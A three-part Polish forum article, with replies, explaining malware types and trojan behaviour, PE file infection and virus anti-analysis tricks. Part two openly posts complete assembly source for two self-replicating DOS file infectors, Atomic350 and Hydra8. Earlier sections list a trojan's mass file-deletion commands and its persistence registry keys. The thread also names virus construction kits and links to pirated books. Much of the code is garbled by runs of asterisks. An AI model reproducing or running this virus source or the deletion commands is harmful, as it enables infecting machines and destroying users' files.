Złośliwe oprogramowanie & wirusy, część 1, 2 i 3

[0wn3r]

//Ponieważ dostałem trochę weny, postanowiłem napisać jakiś temat.
----------
Jak wszyscy wiemy (prawie wszyscy), w Internecie można znaleźć złośliwe oprogramowanie, typu : wirusy, trojany, keyloggery, spyware, rootkity, itd.
----------
Małe przypomnienie :
Co to jest koń trojański?

Koń trojański, trojan to określenie oprogramowania, które podszywając się pod przydatne lub ciekawe dla użytkownika aplikacje dodatkowo implementują niepożądaną, ukrytą przed użytkownikiem funkcjonalność (spyware, bomby logiczne, itp). Nazwa pochodzi od mitologicznego konia trojańskiego.
----------
Co to jest keylogger?

Keylogger - typ programów komputerowych służących do wykradania haseł.
Programy te działają na zasadzie przejęcia kontroli nad procedurami systemu operacyjnego (głównie Microsoft Windows) służącymi do obsługi klawiatury. Każde wciśnięcie klawisza jest zapisywane w specjalnym pliku. Opcjonalnie informacje o wciśniętych klawiszach poszerzone są o dodatkowe informacje, jak nazwa aktywnego programu lub okna.
----------
Co to jest spyware?

Spyware to programy komputerowe, których celem jest szpiegowanie działań użytkownika.
Programy te gromadzą informacje o użytkowniku i wysyłają je często bez jego wiedzy i zgody autorowi programu.
----------
Co to jest rootkit?

Rootkit - narzędzie pomocne we włamaniach do systemów informatycznych. Ukrywa on niebezpieczne pliki i procesy, które umożliwiają utrzymanie kontroli nad systemem.
----------
Co to jest wirus komputerowy?

Wirus komputerowy - najczęściej prosty program komputerowy, który w sposób celowy powiela się bez zgody użytkownika. Wirus komputerowy w przeciwieństwie do robaka komputerowego do swojej działalności wymaga nosiciela w postaci programu komputerowego, poczty elektronicznej itp. Wirusy wykorzystują słabość zabezpieczeń systemów komputerowych lub właściwości systemów oraz niedoświadczenie i beztroskę użytkowników. Często wirusami komputerowymi mylnie nazywane są wszystkie złośliwe programy.
----------
Programy typu : wirus, keylogger, rootkit, itd. można zwalczać za pomocą programów takich jak :
- antywirus (np. NOD32, a do rootkitów : Rootkit Revealer)
- antyspyware (np. Ad-Aware SE Professional)
- antykeylogger (nie ma doskonałego antykeyloggera, ale jak ktoś chce to : Advanced Anti
Keylogger)
----------
Teraz ciekawsza strona tego tematu (mam nadzieje), objaśnienie działania wirusów, oraz objaśnienie funkcji kilku koni trojańskich.
Wpierw jednak zacznę, od analizy koni trojańskich.
----------
Trojan od którego zacznę, którego antywirusy wykrywają jako :
-Trojan.Win32.KillFiles.ac, który posiada dość szkodliwą/wredną funkcję.
Postać pliku : PE EXE
Rozmiar : 35328b (bajtów).
Trojan działa w następujący sposób : uruchamia swoje polecenia w folderze roboczym.

echo del *.txt

echo del *.doc

echo del *.xls

echo del *.com

echo del *.dll

echo del *.dot

echo del *.bin

echo del *.htm

echo del *.ppt

echo del *.avi

echo del *.mp3

echo del *.src

echo del *.bmp

echo del *.cfg

echo del *.mpg

echo del *.drv

echo del *.vxd

echo del *.mdb

----------
Kolejny trojan, którego omówię, nosi nazwę :
- Trojan.BAT.DelSys.d
Postać pliku : .BAT
Rozmiar : 4644b
Po uruchomieniu, trojan wyświetla dość nietypowy komunikat :

D I L E M M A ============= You now have the DILEMMA Virus on your computer. Any attempt 

to shut down your system or bypass the virus at this point will cause BOTH options to 

activate. Choose your fate below..... 1. Randomly Delete Some Files 2. Make A Mess Of 

Your C: Directory

1 opcja - usunięcie wszystkich plików .dll z folderu C:Windows:System
2 opcja - zrobi bałagan na dysku C, tworząc takie foldery :

C:JAHAJKH C:JHDGYD C:EWWER C:WEWER C:WRWERWER C:STORMMAKER C:AASDAS

C:BFBB C:QQWERD C:SDFSV C:SFSDFS C:WWEWE C:FGDFSADA C:SDSSTY C:ASWDD

C:QQWERF C:VVBGTD C:OOIKM C:FGTYH C:FRCDFR C:SWDEXD C:VFGRT C:RBNHH

C:QWSXXZ C:SDSDTY C:UIYUHH C:FDGFGDF C:DFGDFVFG C:JJUIK C:MMNHBG C:XCDSEW

C:ERRFDC C:QASWX C:BVGHYT C:TNMJKIU C:BGHYTG C:BVGTFR C:ZZXSW C:LLOU

C:DSSFS C:WEWEE C:WWEW C:SDFSXCX C:VBGTFC C:NHJUYHG C:AASWD C:AXDCD

C:BGVFR C:CFGTR C:DESXC C:EEFDR C:FFGTRE C:GHJUY C:***YG C:IJKUG C:JKNHBG

C:KIJBGT C:LKIJN C:MNJHVV C:NBHGY C:OPLK C:PKIJU C:QQWSD

----------
Kolejny trojan, jest wykrywany przez antywirusy jako :
- Trojan-Spy.Win32.VB.oq
Postać pliku : PE EXE
Rozmiar : 28 672b
Napisany w języku : Visual Basic (dodatkowa informacja)
Po uruchomieniu pliku, szkodnik dodaje się jako :

%WinDir%scsrss.exe

Szkodnik zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dzięki kluczowi :

[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"scsrss.exe" = "%WinDir%scsrss.exe"

Funkcje szkodnika :
Trojan śledzi zawartość schowka.
----------
Kolejny szkodnik i już przedostatni, jest wykrywany przez antywirusy jako :
- Trojan.Win32.StartPage.adi
Postać pliku : PE EXE
Rozmiar : 4 265b
Napisany w języku : C++
Trojan, zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dzięki kluczowi :

[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"SysTray" = "(ścieżka do pliku wykonywalnego trojana)"

Funkcje szkodnika : szuka plików z nazwami :

%WinDir%secure32.html**%ProgramFiles%secure32.html

Po znalezieniu kopiuje plik secure32.html, na dysk C (C:secure32.html).
Następnie modyfikuje rejestr systemowy i podmienia domyślną stronę przeglądarki :

 [HKLMSoftwareMicrosoftInternet ExplorerMain]

"Local Page" = "c:secure32.html"



[HKLMSoftwareMicrosoftInternet ExplorerMain]

"Start Page" = "c:secure32.html"



[HKLMSoftwareMicrosoftInternet ExplorerMain]

"Default_Page_URL" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Local Page" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Start Page" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Default_Page_URL" = "c:secure32.html"

----------
Ostatni szkodnik, jaki tu opiszę, jest wykrywalny przez antywirusy jako :
- Trojan.Win32.Small.dl
Postać pliku : PE EXE
Rozmiar : 24 576b
Napisany w języku : C++
Po uruchomieniu, szkodnik kopiuje swój plik wykonywalny do folderu systemowego z oryginalną nazwą pliku.

%System%(oryginalna nazwa trojana)

Trojan zapewnia sobie autostart, dzięki kluczowi :

[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]

"wins" = "%System%(oryginalna nazwa pliku trojana)"

Funkcje szkodnika : co 55 minut, szkodnik otwiera następujące adresy :

http://bbsdown.cn/aabb.html** http://552779.cn/aabb.html

----------
Działanie wirusów :
Technika którą wykorzystują niektóre wirusy (tzw. EPO) :
- EPO: Entry-Point Obscuring
- Fighting EPO Viruses
Wirusy mają zdolność samopowielania. Wirusy przenoszone są przeważnie w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych dysków logicznych. Tylko i wyłącznie od programisty, zależy co jego szkodnik ma wykonywać, może uniemożliwić pracę komputera, wyłączyć go, wysłać spam, zaśmiecić, zniszczyć ważne dane, itd. Pierwszy wirus na świecie powstał w 1986 roku, posiadał on nazwę Brain. Wirusy komputerowe, mogą być pisane w różnych językach programowania, typu C, C++, Turbo Pascal, jednakże najczęściej są one pisane w assemblerze.
Istnieje wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu czy mechanizmów wykorzystywanych przez wirusy. Tego typu generatory, można bez problemowo znaleźć w Internecie (starczy troszkę poszukać).
Znane generatory wirusów :
- IVP – Instant Virus Production Kit
- VCL – Virus Construction Laboratory
- PS-MPC – Phalcon-Skism Mass Produced Code Generator
- G2 – G Squared
----------
Rodzaje wirusów komputerowych :
Wirusy można podzielić według wielu kryteriów. Przykładowy podział ze względu na infekowany obiekt :
- wirusy dyskowe, infekujące sektory startowe dyskietek i dysków twardych
- wirusy plikowe, które infekują pliki wykonywalne danego systemu operacyjnego
- wirusy skryptowe
- makrowirusy, których kod składa się z instrukcji w języku wysokiego poziomu, wykonywane przez interpreter.
----------
Kilka książek na temat wirusów :
- Andrzej Dudek : "Jak pisać wirusy"
- Adam Błaszczyk : "Wirusy"
----------
To narazie jest koniec, możecie się spodziewać drugiej części artykułu, gdzie napisze o budowie plików PE, infekcji plików PE i o wirusach w Linuxie.
----------
Umieszczam teraz 1 książkę na temat wirusów :
- http://rapidshare.com/files/68979180/Adam_...Wirusy.rar.html
----------
// Niektóre z tych informacji były czerpane z :
http://www.wikipedia.pl
----------
// Jeśli to możliwe, proszę o przyklejenie tematu

[B33RK4]

taki temat był już

[0wn3r]

Co tam.. przynajmniej ten jest przyklejony ;P

[soyer181]

Może temat już był ... ale NAPEWNO się przyda , dzięki-moja wiedza się poszerzyła dzięki temu tematowi =]

[backdoorman]

Oczywiście że tamat się przyda a nawet powiedział bym że bardzo potrzebny
Przydało by się jeszcze opisać jak usuwać takie wirusy których obecność w systemie nie jest widoczna gołym okiem , tak jak np. Confident_A Stealth Keylogger .
Wiem że autor keyloggera zagląda dość często na forum więc mógł by coś na ten temat napisać , i napewno jest tu wiele osób które wiedzą jak odinstalować takie trojany i inne syfy których obecność w systemie jest ukryta przez zastosowanie rootkitów czy w jakiś inny sposób .
Dzięki za temat

[0wn3r]

// Jak obiecałem, że będzie druga część artykułu, to oto i ona
----------
W ostatnim artykule, przypomnieliśmy sobie, co to jest keylogger, trojan, wirus, rootkit, itd.
W tej części artykułu napisze o wirusach w Linux'ie, logach z HijackThis'a, budowy plików PE, a zresztą, sami zobaczycie.
----------
Pierwsza rzecz, jaka rozpocznie ten artykuł, będą to wirusy w Linux'ie.
----------
W Systemach takich jak Win95/NT pamięć operacyjna została zaprojektowana z ograniczonym dostępem do segmentów. W tych systemach systemach, z użyciem selektorów, jądro ma możliwość obsługi całej przestrzeni wirtualnej, czyli od 0x00000000 do 0xFFFFFFFF. Jakkolwiek w Linux-ie sprawa wygląda inaczej, mamy w nim dwie strefy odróżnione ze względu na znaczenie segmentacji. Strefa przeznaczona na procesy użytkownika zawiera się w adresach 0x00000000 – 0xC0000000 a druga strefa, przeznaczona na jądro systemu zawiera się w adresach takich jak : 0xC0000000 – 0xFFFFFFFF
----------
Przyjrzyjmy się stanowi rejestrów (debugger zwany gdb). Na początku wywołania komendy takiej jak gzip.

(gdb)info registers

eax 0x0 0

ecx 0x1 1

edx 0x0 0

ebx 0x0 0

ebp 0xbffffd8c 0xbffffd8c

esi 0xbffffd9c 0xbffffd9c

edi 0x4000623c 1073766972

eip 0x8048b10 0x8048b10

eflags 0x296 662

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

Z tego co wyżej podałem, można odczytać, że Linux, używa selektora 0x23 dla segmentu kodu oraz 0x2b dla segmentu danych.
----------
Jeśli przyjrzymy się kodowi jądra mieszczącemu się w pliku
/usr/src/linux/arch/i386/kernel/head.S, możemy odtworzyć wartości rejestrów w czasie ładowania Linux'a.

88

/*

* This gdt setup gives the kernel a 1GB address space at virtual

* address 0xC0000000 - space enough for expansion, I hope.

*/

ENTRY(gdt)

.quad 0x0000000000000000 /* NULL descriptor */

.quad 0x0000000000000000 /* not used */

.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */

.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */

.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */

.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */

.quad 0x0000000000000000 /* not used */

.quad 0x0000000000000000 /* not used */

.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */

#ifdef CONFIG_APM

.quad 0x00c09a0000000000 /* APM CS code */

.quad 0x00809a0000000000 /* APM CS 16 code (16 bit) */

.quad 0x00c0920000000000 /* APM DS data */

#endif

Z tego wszystkiego, wynika, że Linux, inicializuje 4 segmenty - 2 dla jądra, oraz 2 dla potrzeb użytkownika.
----------
Rezydentny wirus w ring0 otrzymuje maskymalne przywileje procesora, ponad to w ring0 jest możliwe przechwycenie wywołań do systemu przez wszystkie procesy systemu. W celu otrzymania przywilejów ring0 wirus może spróbować zmian w IDT dla globalnego TrapGate. W celu modyfikacji GDT lub też LDT do wywołania Call Gate lub też nawet zapatchowania kodu, który jest wywoływany w ring0.
----------
Budowa plików PE
----------
Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (Common Object File Format). System Windows powstał na korzeniach VAX, VMS oraz UNIX; wielu jego twórców wcześniej pracowało nad rozwojem tych systemów, zatem logiczne wydaje się zaimplementowanie niektórych właściwości tej specyfikacji.
Znaczenie PE (Portable Executable) mówi, że jest to przenośny plik wykonywalny, co w praktyce oznacza uniwersalność między platformami x86, MIPS, Alpha.
----------
Pliki PE, składają się z kilku części :
- Nagłówek DOS-MZ
- Odcinek DOS
- Nagłówek PE
- Tablica sekcji
- Sekcja 1
- Sekcja ...
- Sekcja n
----------
Infekcja plików PE
----------
Jako jeden z pierwszych sposobów infekcji plików PE zaproponował Jack Qwerty, nestor należący do znanej grupy 29A, autor pierwszych wirusów infekujących PE: Win32.Jacky oraz Win32.Cabanas. Po nich pokazały się kolejne dwa: Esperanto oraz Win32.Marburg – stworzone przez zespół 29A.
Najbardziej popularną metodą infekcji plików PE jest sposób, który polega na doklejaniu się kodu wirusa do ostatniej sekcji, zwiększeniu jej rozmiaru i ustawieniu początku wykonywania programu na adresie odpowiadającym pierwszej instrukcji doklejonego kodu.
----------
Załóżmy, że w rejestrze EDX mamy wskaźnik do początku otwartego/zmapowanego w pamięci pliku, np. przez API MapViewOfFile(). Pierwszą czynnością jaką powinna wykonać nasza procedura infekująca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Można to wykonać szukając nagłówka PE poprzez pole znajdujące się na offsecie 03Ch w pierwszym nagłówku DOS-MZ.
Mały przykład :

push******edx

cmp****** word ptr ds:[edx], “ZM”

jnz****** koniec_infekcji

mov****** edx, dword ptr ds:[edx+3Ch]

cmp****** cmp word ptr ds:[edx], “EP”

jnz****** koniec_infekcji

Gdy już wiemy, że mamy do czynienia, z właściwym plikiem, musimy następnie zlokalizować ostatnią sekcję. Przykład w języku C (nie napisane przeze mnie)

#include <windows.h>

#include <windowsx.h>

#include <winbase.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <winnt.h>



int get_num_sections ( LPVOID );



LPVOID get_first_section ( LPVOID );



void main (void) {



char *filename;



char c;



HANDLE hFile;



HANDLE hMap;



LPVOID lpFile;



int num_sections;



int s;



int space;



LPVOID *section_header;



LPVOID *look_at;



DWORD value1;



DWORD value2;



DWORD free_here;



filename = (LPSTR) GetCommandLine();



printf ( "nGetSpace wyszukuje wolne miejsce w plikach PEn" );



printf ( "GetSpace napisane przez GriYo / 29Ann" );



do {



c = *filename;



filename++;



}



while ( ( c != 0 ) && ( c != ' ' ) );



if ( c != 0 ) c = *filename;



if ( c == 0 ) {



printf ( "Użycie: GETSPACE nazwa pliku nn" );



exit (-1);



}



printf ( "Szukam wolnego miejsca w %snn",filename);



hFile=CreateFile (filename,GENERIC_READ,0,NULL OPEN_EXISTING, 



FILE_ATTRIBUTE_READONLY, 0);



if ( hFile==INVALID_HANDLE_VALUE ) {



printf ( "Nie można odnaleźć pliku nn" );



exit (-1);



26



27



}



hMap = CreateFileMapping ( hFile, NULL, PAGE_READONLY, 0, 0, NULL );



if (hMap==NULL) {



CloseHandle(hFile);



printf ( "Error podczas mapowania pliku do pamięci nn" );



exit (-1);



}



lpFile = MapViewOfFile (hMap, FILE_MAP_READ, 0, 0, 0 );



if (lpFile==NULL) {



CloseHandle(hMap);



CloseHandle(hFile);



printf ( "Error podczas mapowania pliku do pamięci nn" );



exit (-1);



}



num_sections = get_num_sections ( lpFile );



if ( num_sections == 0 ) {



printf ( "Plik nie jest Portable Executable nn" );



}



else {



section_header = get_first_section ( lpFile );



printf ( "Liczba sekcji: %dnn",num_sections );



space = 0;



for ( s = 0; s < num_sections; s++ ) {



look_at=section_header;



printf ( "Sekcja %d (%s)n",s,look_at );

look_at += 2;



value1 = (DWORD) *look_at;



printf ( "-Virtual size: %x (%d)n", value1, value1 );

look_at += 2;



value2 = (DWORD) *look_at;



printf ( "-Wielkość SizeOfRawData: %x (%d)n", value2, value2 );



if ( value1 > value2 )



printf ( "Brak wolnego miejsca w sekcji nn" );



else {



free_here = value2 - value1;



printf ( "-Wolny obszar: %x (%d)nn", free_here, free_here );



space += free_here;



}



section_header+=10;



}



printf ( "Całkowita ilość wolnego miejsca w pliku: %x (%d)", space, space );



}



UnmapViewOfFile(lpFile);



CloseHandle(hMap);



CloseHandle(hFile);

}



int get_num_sections ( LPVOID lpFile ) {



int num_sections;



__asm {



mov ebx,dword ptr [lpFile]



xor ecx,ecx



cld



cmp word ptr [ebx],IMAGE_DOS_SIGNATURE



jne exit_error



cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h



jb exit_error



mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]



add esi,ebx



lodsd



cmp eax,IMAGE_NT_SIGNATURE



jne exit_error



movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]



exit_error: mov dword ptr [num_sections],ecx



}



return ( num_sections );



28



}



LPVOID get_first_section ( LPVOID lpFile ) {



LPVOID first_section;



__asm {



mov ebx,dword ptr [lpFile]



cld



cmp word ptr [ebx],IMAGE_DOS_SIGNATURE



jne exit_error;



cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h



jb exit_error;



mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]



add esi,ebx



lodsd



cmp eax,IMAGE_NT_SIGNATURE



jne exit_error



movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]



jecxz exit_error



movzx eax,word ptr [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader]



add esi,IMAGE_SIZEOF_FILE_HEADER



add eax,esi



jmp got_it



exit_error: xor eax,eax

got_it: mov dword ptr [first_section],eax

}



return ( first_section );



}

----------
Jak wirusy, chronią się przed dissassemblerami??? (dodatkowe informacje)
----------
Po infekcji wirusa w pliku wykonywalnym punkt wejścia do programu zmieniany jest na początek kodu wirusa, by po uruchomieniu programu przez użytkownika jego kod został uruchomiony. Z tego też względu kod wirusa jest „na widoku” i może zostać prosto wykryty. Jednakże wykrycie wirusa w systemie nie stanowi jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchronić się przed analizą stosuje się ochronę przeciw disassemblerom, programom, które zamieniają kod maszynowy na assemblera, zrozumiałego dla człowieka. W tym celu stosuje się algorytmy, kryptujące kod wirusa.
----------
Co zrobić, gdy antywirus, nie wykrywa trojana, który siedzi u kogoś na komputerze?
----------
Gdy twój antywirus, nie potrafi wykryć jakiegoś wirusa, zawsze pozostają programy, które zapisują logi na dysk, potem starczy je tylko sprawdzić. Do tego typu programów, między innymi należą :
- HijackThis (sprawdzanie logu)
- Gmer
- ComboFix
- SilentRunner
----------
Kody źródłowe wirusów
----------
Poniżej, zamieszczę, kilka kodów źródłowych różnych wirusów.
----------
Pierwszy wirus :
- Nazwa : Atomic350
- Stworzony : 08.09.2007
Kod źródłowy :

****************.model tiny



****************.code



****************org**** 100h



start:

****************db******0e9h, 02, 00



****************db******'ML'

startvirus:****************

****************call****get_relative

get_relative:

****************pop**** bp

****************sub**** bp,offset get_relative

****************

****************lea**** si,[bp+restore_bytes]



****************mov**** di,100h

****************push****di

****************movsw

****************movsw

****************movsb

****************mov**** ah,4Eh

****************lea**** dx,[bp+filemask]

****************int**** 21h

****************************** 

****************jc******quit_virus

****************

****************call****try_infect



loc_2:

****************mov**** ah,4Fh

****************int**** 21h

****************

****************jc******quit_virus

****************call****try_infect

****************jmp**** quit_virus



****************nop

****************mov**** ah,09

****************lea**** dx, [bp+message]

****************int**** 21h

****************int**** 20h



quit_virus:****************

****************mov**** bp, 100h

****************jmp**** bp**********************.



try_infect:

****************mov**** ax,3D02h

****************mov**** dx,9eh

****************int**** 21h



****************





****************xchg****bx,ax

****************

****************mov**** ax,4200h

****************xor**** cx,cx

****************xor**** dx,dx

****************int**** 21h



****************

****************mov**** ah,3Fh

****************mov**** cx,5

****************lea**** dx,[bp+restore_bytes]

****************int**** 21h

************************************************

****************cmp**** word ptr cs:[bp+restore_bytes+3],'LM'

****************je******loc_2

****************mov**** ax,5700h

****************int**** 21h

****************

****************push****cx

****************push****dx

****************mov**** ax,4202h

****************xor**** cx,cx

****************xor**** dx,dx

****************int**** 21h

****************

****************push****bx



****************sub**** ax,3

****************lea**** bx,[bp+jmpdata]

****************mov**** [bx],ax

****************pop**** bx

****************mov**** ah,40h

****************mov**** cx,(endvirus-startvirus)

****************lea**** dx,[bp+startvirus]

****************int**** 21h

****************

****************mov**** ax,4200h

****************xor**** cx,cx

****************xor**** dx,dx

****************int**** 21h

****************

****************mov**** ah,40h

****************mov**** cx,1

****************lea**** dx,[bp+jump]

****************int**** 21h

****************

****************mov**** ax,4200h

****************xor**** cx,cx

****************mov**** dx,1

****************int**** 21h

****************

****************mov**** ah,40h

****************mov**** cx,4

****************lea**** dx,[bp+jmpdata]******** 

****************int**** 21h





****************

****************mov**** ax,4200h

****************xor**** cx,cx

****************xor**** dx,dx

****************int**** 21h

****************

****************mov**** ax,5701h

****************pop**** dx

****************pop**** cx

****************int**** 21h

****************

****************mov**** ah,3Eh

****************int**** 21h



****************

****************ret



filemask********db******'*.COM', 0************ 



db******'[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'

** 

db******'[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'



message******** db******'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'



jump************db******0E9h

jmpdata******** dw******0

****************

****************db******'ML'

****************

****************db******00h, 00h



restore_bytes:

****************int 20h

****************nop

****************nop

****************nop

endvirus:

****************end**** start

----------
Kolejny wirus :
- Nazwa : Hydra8
- Stworzony : Brak
Kod źródłowy :

psp_cmd_size****equ**** 80h

data_17e********equ**** 1EFh

data_18e********equ**** 1F2h

data_19e********equ**** 9D9Ah



seg_a********** segment byte public

****************assume**cs:seg_a, ds:seg_a





****************org**** 100h



hydra8**********proc****far



start:

****************jmp**** loc_3

****************db****** 59h, 44h, 00h, 00h

data_3**********db******'HyDra-8** Beta - Not For Release'

****************db******'. *.CO?'

****************db******0

data_6**********dw******0, 8B39h

data_8**********dw******0

data_9**********db******0

****************db******18 dup (0)

data_10******** db******0

****************db******10 dup (0)

data_11******** db******0

****************db******0, 0, 0, 0, 0, 0

data_12******** db******0

****************db******0, 0, 0, 0, 0, 0

copyright****** db******'Copyright (c)'

****************db******'**1991 by C.A.V.E.**'

data_13******** db******2Ah

****************db****** 2Eh, 45h, 58h, 45h, 00h

data_14******** db******33h

****************db******0C9h, 1Eh, 52h,0E8h, 06h, 00h

****************db******0E8h, 13h, 00h,0EBh, 36h, 90h

****************db******0BEh, 48h, 01h

****************db******0BFh, 5Ah, 01h,0B9h, 12h, 00h



locloop_1:

****************xor**** byte ptr [si],0F5h

****************movsb

****************loop****locloop_1



****************retn

****************db******0B8h, 00h, 0Fh,0CDh, 10h,0B4h

****************db****** 00h,0CDh, 10h,0B8h, 00h, 02h

****************db******0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h

****************db****** 33h,0D2h

****************db******0BAh, 5Ah, 01h,0B4h, 09h,0CDh

****************db****** 21h,0B8h, 00h, 02h,0B6h, 18h

****************db******0B2h, 00h,0CDh, 10h,0C3h

****************db******0B8h, 00h, 4Ch,0CDh, 21h, 00h

****************db******0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h

****************db******0F5h

****************db******0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h

****************db****** 94h, 99h, 81h,0CAh,0D1h

loc_3:

****************push****ax

****************mov**** ax,cs

****************add**** ax,1000h

****************xor**** di,di

****************mov**** cx,1EFh

****************mov**** si,100h

****************mov**** es,ax

****************rep**** movsb

****************mov**** ah,1Ah

****************mov**** dx,offset data_9

****************int**** 21h



****************mov**** ah,4Eh

****************mov**** dx,offset data_3+22h

****************int**** 21h



****************jc******loc_7

loc_4:

****************mov**** ah,3Dh

****************mov**** al,2

****************mov**** dx,offset data_11

****************int**** 21h



****************mov**** bx,ax

****************push****es

****************pop**** ds

****************mov**** ax,3F00h

****************mov**** cx,0FFFFh

****************mov**** dx,data_17e

****************int**** 21h





****************add**** ax,1EFh

****************mov**** cs:data_8,ax

****************cmp**** word ptr ds:data_18e,4459h

****************jne**** loc_5

****************mov**** ah,3Eh

****************int**** 21h



****************push****cs

****************pop**** ds

****************mov**** ah,4Fh

****************int**** 21h



****************jc******loc_8

****************jmp**** short loc_4

loc_5:

****************xor**** cx,cx

****************mov**** dx,cx

****************mov**** ax,4200h

****************int**** 21h





****************jc******loc_6

****************mov**** ah,40h

****************xor**** dx,dx

****************mov**** cx,cs:data_8

****************int**** 21h





loc_6:

****************mov**** ah,3Eh

****************int**** 21h



****************push****cs

****************pop**** ds

loc_7:

****************mov**** ah,1Ah

****************mov**** dx,psp_cmd_size

****************int**** 21h



****************jmp**** short loc_11

****************db******90h

loc_8:

****************clc

****************xor**** cx,cx

****************push****ds

****************push****dx

****************mov**** ah,1Ah

****************mov**** dx,offset data_9

****************int**** 21h



****************mov**** dx,offset data_13

****************mov**** ah,4Eh

****************xor**** cx,cx

****************int**** 21h



****************jc******loc_7

loc_9:

****************mov**** ah,3Ch

****************xor**** cx,cx

****************mov**** dx,offset data_11

****************int**** 21h



****************mov**** bx,ax

****************jc******loc_7

****************mov**** ax,3D02h

****************mov**** dx,offset data_11

****************int**** 21h



****************mov**** bx,ax

****************clc

****************xor**** dx,dx

****************mov**** ah,40h

****************mov**** dx,offset data_14

****************mov**** cx,5Ah

****************int**** 21h





****************cmp**** ax,5Ah

****************jb******loc_10

****************mov**** ah,3Eh

****************int**** 21h



****************jc******loc_10

****************mov**** ah,4Fh

****************int**** 21h



****************jnc**** loc_9

loc_10:

****************mov**** ax,4C00h

****************int**** 21h



loc_11:

****************xor**** di,di

****************mov**** si,offset data_15

****************mov**** cx,22h

****************rep**** movsb

****************pop**** bx

****************mov**** cs:data_6,0

****************mov**** word ptr cs:data_6+2,es

****************pop**** bx

****************jmp**** dword ptr cs:data_6

data_15******** db******1Eh

****************db****** 07h,0B9h,0FFh,0FFh,0BEh,0EFh

****************db****** 02h,0BFh, 00h, 01h, 2Bh,0CEh

****************db******0F3h,0A4h, 2Eh,0C7h, 06h, 00h

****************db****** 01h, 00h, 01h, 2Eh, 8Ch, 1Eh

****************db****** 02h, 01h, 8Bh,0C3h, 2Eh,0FFh

****************db****** 2Eh, 00h, 01h,0CDh

****************db******20h



hydra8**********endp



seg_a********** ends







****************end**** start

----------
// Niektóre informacje, były czerpanie z :
http://www.wikipedia.pl/
----------
Można się spodziewać części trzeciej artykułu, jak na razie, nie miałem już o czym napisać.
----------
Jakby ktoś chciał zacząć się uczyć Assemblera, to polecam książkę :
- Assembler Sztuka Programowania PL
Link :
- http://rapidshare.com/files/46492064/Asemb...owania.rar.html
----------
Mam nadzieję, że ta część artykułu się komuś przydała
----------
UWAGA! Trzecia część artykułu jest poniżej
// jak obiecałem to i jest 3 część tego artykułu
----------
W ostatnich dwóch częściach artykułu, przypomnieliśmy sobie, co to są szkodliwe aplikacje (keylogger, trojan, wirus, itd.). Dowiedzieliśmy się również, jak się przed nimi bronić oraz jak działają. W tej części artykułu, dokładniej dowiemy się, jakie zabezpieczenia używają wirusy, by się bronić przed antywirusami.
----------
Zabezpieczenia wirusów
----------
Jednym z ważniejszych, jak nie najważniejszych, części wirusa jest jego poziom zabezpieczeń przed antywirusami, debuggerami, disassemblerami. Dochodzą również, do tego, zabezpieczenia przed generacją wyjątku w systemie operacyjnym, który może zostać spowodowany, przykładowo, dostępem do chronionej, przez system, pamięci.
Wirus działający na systemach operacyjnych windows 98, 95, ME wykorzystujący nieudokumentowane funkcje systemu operacyjnego oraz jego dziury w celu przejść na poziom ring0 nie będzie poprawnie działał na systemach operacyjnych Windows NT, 2000 oraz XP. Wynika z tego, iż wirus jest zobligowany do detekcji systemu operacyjnego.
Lecz, wirus może to zrobić, za pomocą funkcji systemowej GetVersionEx.
Jeśli ktoś chce, to przykład wykorzystania funkcji GetVersionEx :

OSVerInfo OSVERSIONINFO <>

mov OSVerInfo.dwOSVersionInfoSize,sizeof OSVerInfo

invoke GetVersionEx,offset OSVerInfo

cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_NT

jz @windowsNT

cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_WINDOWS

jz @windows9x

Jednakże wykonanie jej przez kod wirusa z zarażonego pliku jest procesem skomplikowanym, gdyż wymaga wpisu w tablicy importów pliku PE (Portable Executable), by loader(na polski język "wczytywacz") procesu zwrócił punkt wejścia do niej.
Dlatego, można zastosować również inne rozwiązanie. A mianowicie można użyć mechanizmu SEH (Structured Exception Handling).
Koncepcja jest taka, że aplikacja instaluje jedną lub więcej procedur callback nazwanych „exception handler-ami” następnie w przypadku, gdy wystąpi wyjątek, system, wywołując exception handlera, pozwala aplikacji obsłużyć owy wyjątek.

Istnieją dwa typy "exception handler-ów" :

- „final” exception handler - instaluje się go poprzez wywołanie funkcji
SetUnhandledExceptionFilter.
- „per-thread” exception handler - ten typ obsługi wyjątku stosowany jest do nadzorowania
wybranych obszarów kodu.

